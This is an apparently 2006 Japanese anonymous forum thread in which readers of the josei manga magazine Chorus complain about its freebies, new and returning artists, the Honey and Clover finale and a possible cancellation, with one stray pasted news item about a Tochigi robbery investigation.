∧..∧ 外に出て日差しを浴びろって言われたんだが、 . ( ´・ω・) < どのくらい浴びりゃいいんだい? cく_>ycく__) (___,,_,,___,,_) ∬ 彡※※※※ミ 旦  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ∞ l|||||||||||||| ∩,,∩ ∩,,∩ ∩,,∩ ミ∩ハ∩彡 (, )(,, ) ,,)( )( ) ∧..∧ < そりゃあ高岡さんが言うんだからハンニチだろうよ . (・ω・`) cく_>ycく__) (___,,_,,___,,_) ∬ 彡※※※※ミ 旦  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ \ どっ!! / \ ワハハ! / \ / \ ∞ l|||||||||||||| ∩,,∩ ∩,,∩ ∩,,∩ ミ∩ハ∩彡 (, )(,, ) ,,)( )( )
今回はプライド、うてな、楽園があるだけ自分は満足。
あ〜、うてながあるのか…。 でも自分ももうカワネ なんつーか、編集の意図通り読者入れ替えにはまった感。
>>809 続きどうでもいい、っていうか続きモノが大抵飛び石なのがやってらんない。
月刊誌じゃなくて隔月誌2つ買わされてる気分。昔もこんな感じだったの?
まぁ和田の評価とかもここで聞けるし 評価次第だなー
遅ればせながら別冊読んだけど リストラOLの話、赤ん坊片手にタバコ吸ってるわ 求人の問い合わせ電話を道歩きながらかけてるわ なんというか、こういうのって編集が注意しないんだろうかと思った。
それ、たまきちひろだったっけ? 以前もその意見出てたね この人のマンガは、こういうディティールが適当なのが多い希ガス。 勢いだけで描いて、設定も人物描写も甘いっつーか。 以前他誌で描いてた作品でも、主人公(♀)がうっぷん晴らしにピッキングしたりしてて、ツッコミどころが盛り沢山だった…
背がでかいモデルやった子の話の人かな?
以前のそのださんの「出産直後に裸エプロン」とか 今回のたまきさんの「赤ん坊抱いてタバコ」とか 納得のいかない描写が目に付く世代が読者なのにね
>>824 それです。easeで連載途中の。
フィーヤンに載った読切りでも、なんだかなあな描写があったような…
どの話も主人公が同じようなキャラ。
性格が粗雑&乱暴&自己中っつーか。
正直、コーラス向きではないと思う。
フクシの人のテイストはパタリロのようなラビパパのようなかんじなんだよなー
>>826 どーも
確かにあの人はコーラスっぽくないかも
だいぶ前だけど、別冊でいつも必ず猫が出てくる漫画かいてる人(名前忘れた)の話で バツ1子有りの主人公が、同棲してる男が子供に暴力ふるって、それを理由に別れたのに 結局すったもんだあった後ヨリが戻って、また一緒に3人で暮らすという設定に 当時猛烈に腹が立ったことがいまだ記憶に残ってる。 自分は子なしだけど、他人の子供に暴力振るった男とハッピーエンドなんてありえんと思った。
ハチクロ最終回ですって
フクシの人、センスは物凄く良いと思う。 別冊の万福で、文子さんが笑いをこらえてるコマは秀逸だった。 それにしてもこの人、コーラスの新人漫画コンクールで 何度か万福寺書いてたんだよね。 編集も、投稿時代からプッシュしてたのかな。
>>826 ドウイ
たまきって人の話も絵も粗雑で
なんか下品な感じが嫌い。
リアリティを追求してるのに全てが中途半端で痛い。コーラスに来ないでほしい。
素朴な疑問だがハチクロとプライドオワタら柱はこぎつねになるのか? いくえみの短期連載の望みもあるが それとも和田さんレギュラー?
いくえみ、好きだからよみたいけど無理じゃない? 潔く柔くの一恵編が最終回、次回掲載が一月号で、 カズンもあるし、別マかマーガかの連載は終わったの? コーラスに短期連載する位なら、 潔く柔くの連載再開を早めてほしいって気もするし。
たまきちひろは、色んなとこでちょこちょこ載ってる理由がわからん。 フィーヤンに以前載ってたのもハピマニの超劣化コピーだったし。 今回もなんかテンプレ展開で面白くなかったよ。>別冊掲載作
もういいよーつまらん作家ばっか呼びやがって。
コーラス買いに行ったら間違って別冊買ってしまった… まだ途中までしか読んでないけどつまらない… 分厚いだけで中身の薄い雑誌になんで\580もとれるんだろう。
>>833 こぎつねは作者がコミクスで
次巻で終わるような事書いてたからあと数回で終了だとオモ
何この収束感
お昼買いにコンビニ行ってさらっと見てきた。
ネタばれしない程度に情報
・ハチクロ最終回
・
>>839 こぎつねは来月休載で柱で作者がラストに向けて云々と言ってます。
・来月号(10月号)付録は
コーラスアートカードブック(どういうもんかわかりません)がついて定価450円
最終回なのか
和田さん、内容が片道に近いなら買うかも。 つーかたまちゃんと野火の連載だけじゃやぱーり高く感じるよね… 池谷さん茎連載開始しちやったし
ハチクロ、訳分からんうちにオワタ。
へえ、終わったんだ
コーラス組で全く話が理解できなかったハチクロ 今月だけは、あーこれが人気あったんだと、妙に納得できた。 別冊とかに収録される、番外編一話完結っぽい感じがして 一部、ファンじゃないと理解できない場面はあったけど、大体は理解できた。 初めて読み飛ばさず、少女漫画らしくていいなと好感持ちました。 しかし、付録のメモ帖、犬の顔怖すぎ・・・ 今月号は全体的に連載が終わりに向かっているな〜という印象。 なので、ある程度ですが、展開が早く、先月・別冊と比較すると読み応えありました。 しかし、付録はどれもこれもイラネイラネイラネ
ま た 付 録 つ け ん の? 決めた。 今月号がおもしろくなきゃ、マジでもう買わない。 マジ軽く怒り爆発。 さようなら。 編集さんへ。
どうせ付録つけるんならいかにもハチクロらしいもんでもつけりゃいいのに
>>844 池谷さん、とうとう茎に定着してしまったのか
コーラスでの唯一のお仕事が付録の別冊漫画
しかも原作付きだなんて悲しすぎ
どうしてこう有望な人は出て行って、
どこかの使い古しのような作家ばかりが入ってくるんだろう・・・
やった! ハチクロ最終回なんだ! アニメも映画も始まったからイラネなんだね! なんだかそれだけで明日が楽しみになったよ〜!!!
多分コーラスに来る前に最終回になる予定だったんだろうけど 映画の公開まで無理矢理引き伸ばしていたのかもね
>>847 >>今月号は全体的に連載が終わりに向かっているな〜という印象。
ま、まさか・・・廃刊へ向かってる?!(((( ;゚Д゚))))ガクブル
なんか一旦休刊して新雑誌創刊しそうな気がする まぁもう最近買ってないからどうでもいいけど ちゃんと隙間世代に合った雑誌作ろうとしろよ集英社
>844 >850 池谷さんは来月号(8月28日発売の10月号)に 60Pの読切り描くみたいだからしばらくは兼業なんじゃないかな? 10月号の付録の「コーラス・アート・カードBook」の “ハンドメイドアレンジ”ってなに? ハチクロが終わるとやはりいくらか売り上げに悪影響があるのだろうか…。 スピンオフまで引っ張っるために付録がつきそうな悪寒…。
いくらかどころか、半減ぐらいしてもおかしくないような。
吉住チヤトリがいないとちょっと読めそうだ
859 :
847 :2006/07/27(木) 23:32:23 ID:???0
>>853 かもしれないと、思いました。
キツネは作者も柱に書いていた。
アイスエイジは、エピソードが短いから、1,2回で終わっても差し障りないし
最近ちょっと停滞してた恋愛モードの方が動き出しそうな予感。
プライドは、一応波乱含み残しているけど、急展開ありだし
今号のような感じは、前にも見たからネタ切れっぽい。
うてなは、隔月連載になるのかな〜
他のは、いつ終わらせても問題ない短期連載風。
楽園は、悪くはないけど、巻頭に持ってくるほどか疑問だった。
860 :
847 :2006/07/27(木) 23:39:06 ID:???0
ちなみに10月号予告 正義の味方 まっすぐ プライド 箱庭 エイジ 万福 さむらい ひげぴよ 読みきり 池谷理香子 岩館真理子 前後編 天一坊前編・宮脇明子 ヨコハマ後編・和田尚子 付録 アートカード 天コケ映画化シゲちゃん役募集中
ハチクロ休刊伝説完遂か。恐ろしい子だ・・・。
うわ…マジ休刊かなあ、これ… ハチクロ…これ最終回なの? あれ以上gdgd続けられても困るけどこの数ヶ月の展開は一体…
正義の味方!? まっすぐ!? ハチクロの方がまだマシだよー…。
正義の味方が巻頭って… どういう雑誌なんだ
865 :
847 :2006/07/28(金) 00:43:28 ID:???0
あくまで個人的主観です。念の為。 他の方がどう感じるかは、今後のレス待ちということで。 でも、集英社の回し者じゃないけど、今回はまぁまぁ満足しました。 前回は、クレームに近いアンケート葉書出したほどひどかったけど グダグダしてた状態からは、脱している気がします。
ハチクロの人はプロになって経験も浅いのに いきなり長期連載やって大人気になり、 その上内容はどんどん風呂敷広げていっていて 作者の現時点での力量を超えたものを 描いていってるんじゃないかと思ってたけど、 やっぱり案の定って感じになりましたね
吉住チヤトリがいないだけでも相当マシになると思うが、 正義の味方にきら…orz イラネ 誰も連載再開しろなんて思ってねえYOしかも本誌で。
>>864 漫画家の格でいけば不思議じゃないと思うけどね
池谷さんはこっちでも描くんだね良かった
きらと和田はイラネ
どうせハチクロはコミックスで補完だろう。
>>869 そりゃそうだろ
コミクスが売れるからこその大看板
コミクスが売れるからこその引き延ばし
ハチクロがきたのでコーラスの廃刊が伸びた、という考え方もできると思う
>>870 >ハチクロがきたのでコーラスの廃刊が伸びた、という考え方もできると思う
これは違うだろ。むしろ逆・・・
あ〜あ、YY廃刊後、本当にコーラスはつまんなくなった。
編集の責任だよ、絶対。
>>870 その考えYYの時も言われてたなあ
でもそんな考えが通用するのもYYまでだと思う
ハチクロ、あの終わらせ方は酷い
ハチクロがなかったらYYとの合併時に廃刊してたと思う<コーラス それが良かったのか悪かったのかはさておき。。。
ハチクロ映画が割といいからコミクス派に新規参入する人増えそうだ。 売れてるマンガってだけで看板だけ利用されて 糞化した実写版に別物と理解しつつもorzしてきたから 羽海野さんは幸せ者だと思う。 映画・アニメ制作者の熱意かんじるし、すごい大事にされている。 コーラス編集部だけがつまらん付録と引き延ばしで既存読者の反感うんで 利権に群がった感じするんだが。 本スレがこういうこと書きにくいムードなんで こちらに失礼しました。スレ違いスミマセン。
ハチクロ、ラブ★コンより受け悪いよ?
偶然見たハチクロアニメ第一弾が良くて、アニヲタでもないのにそれ以来ファンになった。 でもアニメの第二弾がびみょー。 しかも連載もgdgd…。 それでも、コーラスのその他の連載よりは面白かったし、明日最終回を読むのが楽しみ。 創刊以来のコーラス読者で、併合後のYY組が気になって辛うじて買い続けてきたけど ハチクロ終わったら本当にコーラス買わなくなると思う。さよならコーラス。
集英がいいカモを見つけて持ち上げて乗せられた人がいるってことでしょ ジャニーズが少し売れ線の歌を歌えば大売れするのと一緒
>>875 付録は分からないけど引き延ばしはされてないとおもう
末期がオフィスユーに行くらしいから 今まであってもなくても良かった様なオフィスユーを テコ入れしてリニューアルし、実質ヤングユー復刊にするとか? 何だかんだ言ってもコーラス世代が一番漫画を読む層だから ベス対策を立ててベス創刊あたりに コーラスの連載クライマックス祭りと オフィスユー月刊化リニューアル祭りをぶつけるとか? とりあえずコーラスにカス作家寄せて ベテランは他誌に避難させながら読み切りで繋ぎつつ コーラスにはしがらみのない若手の編集ばかり配置して プライドの連載が終わるのを待つのみ…だとか? かなり大々的に鳴り物入りで宣伝費に金かけて スタートさせたプライドだけど、イマイチの展開で あまりコミックも売れず、ドラマ化するにもキャラに魅力が無いので 女優のイメージアップになるわけでも無いから スポンサーもつきそうもないし ギャラと作者のプライドと意欲だけは高いので 既成事実を作って雑誌ごと切るとか…? なんて一人で妄想してしまいました
日本語でおk
改行が変で読みにくい
>>879 確実にされてます。
>>875 コーラス編集部が利権に〜というよりは、編集長と副編でしょ。
>>880 うーん、その説は有り得るかも…
末期がオフィスユーと聞いて「?」だったもので。
それならそれでいいなー。面白ければ&値段が内容に見合ってれば。
てか、ヤンユー廃刊にするならオフィスユー廃刊にすれば良かったのに。
でもヤンユー読者のほとんどが ヤングじゃな…ンガグッグ
>>874 >ハチクロがなかったらYYとの合併時に廃刊してたと思う<コーラス
どっからこういう発想が。
なら、コーラスが休刊でYYに流れたたらよかったじゃない?
御大の威力だと本気で思ってたら商売舐めてるアホだ。
>>883 でもハチクロスレではあんなにヒットしてる流れをここで潔く終わりの方向に持ってくるのは
えらいみたいなレス何個か付いていたような。
過去の人気作品と比べるとハチクロは全然引き延ばしされてないでしょ。
楽園って終わったと思ったらすぐカムバックして、それでまた続き描くの満々だね 新キャラ出してきてるし…ちょっと萎える 最終回の意味ないw
本スレに書きづらいからって、 こっちでハチクロ擁護意見書かれてもウザイだけだよ。 引き延ばしだのなんだの勝手に思い込みたいのはわかるけど。 個人的には、ハチクロ付録と宣伝には心底うんざりさせられた。 ハチクロ景気も所詮はバブル。 内容がよければ読者も残るんだろうけど、あれじゃあねぇ。 元からのコーラス読者を離れさせたうえ、多くの自身の信者までもアンチに変えるんだから ハチクロ休刊伝説再びなのか、と思ってしまう。
近いうちに休刊が決定したら 間違いなくハチクロ伝説として語り継がれるだろうね
オフィスYOUが8月から月刊化という案内があったけど、 あの雑誌は、今までどういう発行ペースだったの? 読者歴が浅いもんでスマン 集英社のコミックパークとか見ても 女性コミック誌には含まれていないけど(YOUとコーラスの2誌のみ) オフィスYOUの公式サイトはあるようで・・・
ハチクロ休刊伝説… すぐに合併したのにそれは…ないよね?
>>887 ええー、YYでやってる途中からもう既にグダグダしてたのに
>>888 コミクスに結構空きがあるから、とりあえずはそこ埋めなくちゃならないだろうね。
ハチクロもすぐ番外だかなんだか描くらしいから
そういうのでしばらく食いつなごうとしてるんじゃない?
しかし目玉がないなぁ・・・・
>>893 グダグダを編集の引き伸ばしのせいにしたい信者
作者の資質でしょ?という一般読者
信者はグダグダとも思ってないだろう
>>888 同じこと思った。
最終回やった意味ないやん。
<栃木5億円強盗>実行役が別の中国人から現金受け取る 栃木県旧南河内町(現下野市)の運送会社「東武運輸栃木」(現東武運輸プリヴェ栃木支社)で 04年10月17日、約5億4250万円が強奪された事件で、栃木県警などに逮捕された 実行役の中国人、金光容疑者(26)が「事件の3日後、約束通り実行役とは別の中国人から、 逃走先の東京都内で3000万円を手渡された」と供述していることが27日、分かった。 これまで判明した11人のほかに、別に仲介役1人がいるとみて、組織の全容解明を急いでいる。 金容疑者の供述では実行役の中国人5人は事件直後、1人が現金を運搬した乗用車で東京に逃走。 4人は2人1組で新幹線で東京に逃げ、中国人から現金を受け取ったという。 この中国人と実行役4人は、既に国外に逃亡したとみられる。 奪った金は「地下銀行」を通じて送金されたとみている。 また、同社の元社員、大場恭男容疑者(55)が事件直前、同社警備事業本部に電話をかけ、 直後に長男の隆介容疑者(28)に携帯電話で連絡していたことも判明した。 当時の警備状況など内部情報を提供していたとみて、追及している。
眼鏡を外したイオナちゃんがかわいくてビックリ
なんできらが帰ってくるんだろう コーラス何考えてんだ
あくまで漏れの主観だが 和田さん思っていたよりは悪くなかった。 だけに宮脇ときらが邪魔なんだけど。 河内も(゚听)イラネ 池谷さんはオーバーワークじゃないのか…60Pってこないだ茎箱で100描いて茎連載は40Pらしいのに…
次スレの作家テンプレ誰入れるの?
流動的っぽいのは入れなくていいんじゃない?
和田さんて、私にとっては 吉住に毛が生えた程度、って印象。
>天一坊前編 これって伊東ハンニのやつ?
和田、予想通りイラネだったが… 吉住チヤトリのおかげでダメ作品もよく見えるのでは…
きらってYOUで描いてる話のが読者受けいいんでしょ? なんで今更まっすぐ描かされてんの? コーラス編集者とりあえずヒットした漫画載せておきゃ客は釣れると思ってんだろな
ハチクロの映画の反響が多くて上映が早くなったと聞いたが 単に最終回に合わせただけ?
>>903 なくてもいいかな〜と思うんだけど・・・
あれって必要?
テンプレは欲しいな 定着してる作家さんだけでいいんじゃない? 池谷、吉住、和田、チヤトリはビミョウ
池谷スレないみたい
916 :
906 :2006/07/28(金) 18:20:07 ID:???0
>910 ありがと。 凋落部分を描くにしても前後編だから長いな。どうするんだろ。
>コーラス編集者とりあえずヒットした漫画載せておきゃ客は釣れると思ってんだろな 先月号や別冊でハナコさんが出てきたし、そうなんだろうね。 あと、今月号でミカリソがイラストと手書き文章書いてるコーナーで 「ご多分にもれず〜」って書いてるけど 正しくは「ご多聞」じゃないのかな。 編集きちんとチェックしろよ。
楽園、巻頭にするほどの内容とは思えない 新キャラ今後も出すつもりかな
ああいう新キャラや含みを持たせた内容にするのは まだ惰性で続けるつもりなんでしょう。
クリスマスに八神帰国編は絶対やると思う。 本誌12月号か別冊冬の号。今頃ネーム考えてることだろう。
もうウンザリ 別冊逝ってくれ
》891 オフィスユーは偶数月の隔月で、 奇数月にはオフィスユー+(プラス)が出ていた
923 :
花と名無しさん :2006/07/28(金) 20:15:19 ID:RTb/8fvE0
>919 てか、あれを終了させた意味って何? 連載続いてるよね
924 :
891 :2006/07/28(金) 20:22:35 ID:???0
楽園は別にいいよ。もとからコーラスにいたわけだし。 問題はきらとか他から出稼ぎにやってくる奴らだよ。 連載できるほど面白いものでもないのに いつまでこうやって入れ替わり立ち代り入ってくるんだろ。
コンスタントに面白い話を書き続けられる人なら歓迎するけどそんな人がいるかな? まだ入れ代り立ち代わりの方が被害は少なくて済む
もとからいようといまいと、つまらん作品はイラネ 自分も楽園とかうんざりしてる。最終回の意味ねえじゃん。
928 :
花と名無しさん :2006/07/28(金) 21:17:06 ID:b5cUM+ja0
あのふせんどこに字ー書くわけ? ハチクロの人ってたまに付録っぽくない、まんがと関係ないデザインの 付録とかがあってよかったけど・・・
>923 合併を盛り上げるクライマックス祭りのためw 離れかけた読者を思いとどまらせるため 第二弾 ベス創刊に合わせてブッパナス予定?
包装も開けずに付録捨てたよ
>>927 そのうちハチクロも出てきますから。最終回の意味ねえじゃんって奴。
御大やくらもちさんは
人気があってもすっぱり最終回できってくるよね。
番外編とかでフォローしようとかじゃなく
本編でしっかり主張しつくす、って姿勢なんだろうな。
作品の完成形として美しいよ。
本屋に行って挟まってるものの厚さに買う気を失ったよ・・・
楽園って終わったんじゃなかったんだ。 新キャラ出てたけどまた不定期で載るのか? 最終回っていっておいてすぐ続き載せたり ハチクロみたいにクライマックスって引っ張ったり 編集は何考えてんだ。 プライドも蘭がキモイし、エイジもなんだありゃ。 天コケ映画化って1ページだけ紹介でしげちゃん役募集中ってなんだそりゃ。 くらもちもメッセージ書いてんなら漫画描け。 もうコーラス廃刊していいよ
>>934 すごい言いたい放題の感想に笑ってしまったwでもすっきりしたw
欄丸キモイよね
ハチクロ終わったのならいつまでも付録ずるずる付けないで欲しい
来月も付くみたいだね…コーラス必死だな
>もうコーラス廃刊していいよ 同意。あれば文句言いつつも惰性で買ってしまう。 無くなったらそれはそれで構わない。
フィーヤンやフラワーズは付録なしで頑張ってるのにね。 Kissはのだめがらみで付録つけたが
もう、コーラスやめてたまちゃんの単行本買えばいいや
>>928 今日ミドリちゃんの頭に書いて使ってみた
従来のふせんとは使い方がちょっと違う気がした
>>930 同じく。
包装開ける気力も失せた。
マ〜ジ〜で〜いらね〜。
付録のキャラがキモイんだけど・・ なに?あのかわいくない動物達。
>>930 開封せずに捨てただなんて酷い
ゴミの分別はキッチリとしようよ
自分、分別して捨てたw ハチクロ好きでもないと普段使えないよ、あの付箋は。
えっと・・・ 付録を手に取って私は今何歳なのだろう?と混乱してしまいましたorz
チラ裏もかけやしねえ
付録にチラシを付ければいいんだ
ハチクロでしんみりしてしまった自分は少数派ですかのぅ。 和田さんのは後編で吉住みたいなご都合主義の展開にならないか心配だ。 しかし和田さんや河原和音、藤村真理等マーガレットにいた(いる)人達は みんな絵が似たり寄ったりになってきてるなぁ。
ハチクロはコーラスから読んだりしてあまり話を把握してない人には 綺麗にまとまった感じの良いラストに思えただろうと思う 自分は諸々の未消化なままの部分をウマいことオブラートに包んで 誤魔化してることに感心した
>>949 しんみりした。
なんか鼻の奥がツーンとした気もする。
ただ、もう少し綺麗に畳んで欲しかった気もする。
ハチミツとクローバーサンド作った香具師いますか
和田さんのってホテルは誤解だ〜とかいって 結局ハッピーエンドでしょってのが予想出来て面白味がない 絵も丁寧で綺麗だけど顔がよれたホームベースみたい
そういえばクローバーって食べられるの?
>>949 最終回だけは好きだった>ハチクロ
思い入れがないし、話しの背景がわかってないから
スルっと入り込めた気がする。
>>950 >綺麗にまとまった感じの良いラストに思えただろうと思う
ハチクロ、コーラス移転から読んだけど
全く訳が分からないまま終わった・・・。
しげちゃん役はブランドンか加藤茶がいいな
YYから読み出して漫喫て読んだライト読者だけど、ハチクロ最終回には泣いた。 若い頃ならではのもどかしさとか切なさとか、言いたいけれど言えない気持ちが 凝縮されたような、いい最終回だった。 コーラスに移動して以降の、はぐの手が事故でどうこう〜(ryという話を除けば 最初からラストが決まってたんだろうなと思える、綺麗な着地だったように見える。
はぐちゃん。。。俺は
しげちゃん二十歳くらいでしょw
しげちゃんの下がり眉がセクシーに思えなくもない